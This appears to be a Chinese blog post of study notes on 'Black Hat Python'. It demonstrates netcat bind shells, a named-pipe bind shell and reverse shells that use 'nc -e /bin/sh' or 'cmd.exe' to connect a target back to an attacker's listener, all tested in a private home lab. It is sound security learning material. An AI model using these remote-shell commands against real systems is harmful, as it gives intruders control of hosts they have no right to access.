您的位置:首页 > 编程语言 > Python开发

《Python 黑帽子》学习笔记 - netcat 介绍2- Day 6

2018-03-26 19:52 447 查看
上篇笔记对 netcat(nc) 的 HTTP 请求,端口扫描和代理等功能进行了测试,本篇笔记继续测试 nc 其他一些常用功能。

在渗透测试中,最好的方式是能够获取反向 shell (reverse shell) 或正向 shell (bind shell). 反向 shell 是从目标主机将 shell 连接处于监听状态的攻击方的方式。正向 shell 是攻击方通过特定端口连接目标主机 shell 的方式。

正向 shell (bind shell)

如果我们渗透的目标,有独立的公网 IP 和 Port, 并在外部可以访问到,可以尝试通过远程正向 shell 来对目标进行控制,有了 shell 很多操作将会非常方便。一般来说,会使用 telnet (默认端口23) 或 ssh (默认端口22) 来进行远程 shell. 但出于安全原因,主机上这两个命令经常不会主动安装,安装的话也需要管理员权限。我们可以用 netcat 创建远程 shell 来解决。

nc 在服务端监听端口,并带上执行命令(
-c
-e
)的选项。

root@kali:~# nc -lvvp 7777 -c /bin/bash


客户端连接服务端。

nc 192.168.1.7 7777


服务端收到客户端连接后即运行 shell, 接收客户端命令,完成客户端 与 shell 的数据交互。

Kali 为服务端,即被攻击主机,shell 为
/bin/bash




Win7 为服务端,即被攻击主机,shell 为
cmd.exe




如果 nc 没有执行命令(
-c
-e
)功能,还可以使用管道的方式来模拟绑定 shell 的功能,即把 shell 的输入输出数据放在命名管道里,并在客户端和服务端进行数据交互。步骤说明如下:

首先创建一个名为 fifo 的命名管道文件,命名管道文件可以读取等待,作为暂存 shell 输入输出数据的地方。

nc -lvp 7777
服务端监听端口,等待接收客户端连接,完成数据通信。(注意:管道只是暂存数据,服务端和客户端的数据仍旧会按照 nc 的编码来进行传输。不会出现数据去了管道,不会在网络传输了。这样理解对吗?)

shell 的输入来自客户端发送过来的命令,所以把 nc 监听端口收到的数据管道(
|
)至 fifo 文件 即
nc -lvp 7777 > /tmp/fifo
.

cat /tmp/fifo | /bin/sh
把 fifo 文件内容管道至 shell. 即把客户端发送过来的命令传给 shell 执行。(注意:管道使命令平行执行,fifo 文件可以读取等待,如果是普通文件,cat 命令会尽快结束,然后开始读取空文件)

/bin/sh -i 2>&1 | nc -lvp 7777
shell 执行完相应命令后把结果,以及标准错误流(2)都转到标准输出流(1)上,并管道至 nc, 这样客户端就能接收到 shell 执行的结果或错误。这里
-i
参数会给出一个提示符
#
.

nc -lvp 7777 > /tmp/fifo
nc 再次接收客户端传过来的命令,并管道至 fifo 文件。

客户端用 nc 连接服务端,发起连接并完成数据通信。
nc 192.168.1.7 7777


以 Kali 为服务端,运行:

root@kali:~# mkfifo /tmp/fifo
root@kali:~# cat /tmp/fifo | /bin/sh -i 2>&1 | nc -lvp 7777 > /tmp/fifo
listening on [any] 7777 ...


win7 为客户端,运行:

nc 192.168.1.7 7777


客户端连接服务端后,能够得到服务端一个 shell.



关于
/bin/sh -i 2>&1
补盲以下知识点:

UNIX 有几种输入输出流,它们分别与几个数字有如下的对应关系:0-标准输入流(stdin),1-标准输出流(stdout),2-标准错误流 (stderr)。
2>&1
的意思就是将 stderr 重定向至 stdout ,并一起在屏幕上显示出来。如果不加数字,那么默认的重定向动作是针对 stdout(1)的,比如
ls -l > result
就等价于
ls -l 1 > result
. 这样便于我们更普遍性的理解重定向过程。

反向 shell (reverse shell)

如果我们渗透的目标,是一个内部网络的主机,外部不能直接访问其地址和端口,可以用 反向 shell 的方式来连接处于监听状态的攻击方主机,以更好的控制目标,反向 shell 经常用来绕过本地防火墙的限制。

攻击方监听端口。

nc -lvp 3333


被攻击主机启动 shell, 并通过 nc 来发送 shell 的命令和运行结果。

nc 192.168.1.2 3333 -e /bin/sh  # Kali 为被攻击主机
nc 192.168.1.2 3333 -e cmd.exe  # Win7 为被攻击主机


Win7 为攻击方,Kali 为被攻击主机,测试结果为:



Kali 为攻击方,Win7 为被攻击主机,测试结果为:



执行程序

上面的正向和反向 shell 都是执行程序的特例,我们还可以执行其他程序,这里以执行 calc.exe 为例进行测试,我测试的 nc 版本在结束执行的程序后,nc 也会自动断开连接。



总结

本篇笔记测试了 netcat 的正向和反向 shell 功能,尤其反向 shell 是最重要的控制主机的方式。在利用漏洞渗透目标后,最常用的方式就是启动一个 shell, 并传回攻击方,通过这个 shell 做更进一步的拓展。

下一步,分析书中的 netcat 代码,并用 Python3 进行实现。

参考

https://www.oschina.net/translate/linux-netcat-command?lang=chs&page=1#
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息